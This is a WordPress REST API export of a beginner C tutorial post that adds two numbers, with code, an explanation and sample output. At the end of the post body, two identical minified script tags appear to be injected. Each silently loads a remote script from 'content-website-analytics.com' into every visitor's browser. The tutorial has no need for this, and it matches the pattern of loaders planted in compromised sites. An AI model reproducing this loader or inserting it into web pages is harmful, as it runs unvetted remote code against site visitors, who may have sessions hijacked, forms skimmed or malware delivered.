{"id":668,"date":"2024-10-19T13:40:23","date_gmt":"2024-10-19T08:10:23","guid":{"rendered":"https:\/\/codexplained.in\/?p=668"},"modified":"2025-11-24T15:35:46","modified_gmt":"2025-11-24T10:05:46","slug":"add-two-numbers","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=668","title":{"rendered":"Add Two Numbers"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() \n{\n    \/\/ Declare variables to store the two numbers and the sum\n    int num1, num2, sum;\n\n    \/\/ Ask the user for input\n    printf(&quot;Enter the first number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num1);\n\n    printf(&quot;Enter the second number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num2);\n\n    \/\/ Calculate the sum of the two numbers\n    sum = num1 + num2;\n\n    \/\/ Display the result\n    printf(&quot;The sum of %d and %d is %d\\n&quot;, num1, num2, sum);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<p><code>return 0;<\/code>: This line indicates that the program finished successfully, returning an exit status of <code>0<\/code>.<\/p>\n\n\n\n<p><strong><code>#include &lt;stdio.h&gt;<\/code><\/strong>:<\/p>\n\n\n\n<p>This line includes the standard input-output library, which allows us to use functions like <code>printf<\/code> and <code>scanf<\/code> for output and input, respectively.<\/p>\n\n\n\n<p><strong><code>int main()<\/code><\/strong>:<\/p>\n\n\n\n<p>This line defines the main function, where the execution of the program begins. The <code>int<\/code> indicates that this function will return an integer value.<\/p>\n\n\n\n<p><strong>Variable Declaration<\/strong>:<\/p>\n\n\n\n<p><code>int num1, num2, sum;<\/code>: Here, we declare three integer variables: <code>num1<\/code> and <code>num2<\/code> for storing the user inputs, and <code>sum<\/code> for storing the result of the addition.<\/p>\n\n\n\n<p><strong>Input from the User<\/strong>:<\/p>\n\n\n\n<p><code>printf(\"Enter the first number: \");<\/code>: This line prompts the user to enter the first number.<\/p>\n\n\n\n<p><code>scanf(\"%d\", &amp;num1);<\/code>: This line reads an integer input from the user and stores it in the variable <code>num1<\/code>. The <code>&amp;<\/code> operator is used to get the address of the variable where the input will be stored.<\/p>\n\n\n\n<p>The same two lines are repeated for the second number (<code>num2<\/code>).<\/p>\n\n\n\n<p><strong>Calculating the Sum<\/strong>:<\/p>\n\n\n\n<p><code>sum = num1 + num2;<\/code>: This line adds the two numbers stored in <code>num1<\/code> and <code>num2<\/code>, and stores the result in the variable <code>sum<\/code>.<\/p>\n\n\n\n<p><strong>Displaying the Result<\/strong>:<\/p>\n\n\n\n<p><code>printf(\"The sum of %d and %d is %d\\n\", num1, num2, sum);<\/code>: This line prints the result to the console. The <code>%d<\/code> placeholders are used to insert the integer values of <code>num1<\/code>, <code>num2<\/code>, and <code>sum<\/code> into the string.<\/p>\n\n\n\n<p><strong>Return Statement<\/strong>:<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter the first number: 5<br>Enter the second number: 7<br>The sum of 5 and 7 is 12<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation return 0;: This line indicates that the program finished successfully, returning an exit status of 0. #include &lt;stdio.h&gt;: This line includes the standard input-output library, which allows us to use functions like printf and scanf for output and input, respectively. int main(): This line defines the main function, where the execution of the program [&hellip;]<\/p>\n","protected":false},"author":42,"featured_media":309,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-668","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/668","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=668"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/668\/revisions"}],"predecessor-version":[{"id":1399,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/668\/revisions\/1399"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/309"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=668"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=668"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=668"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}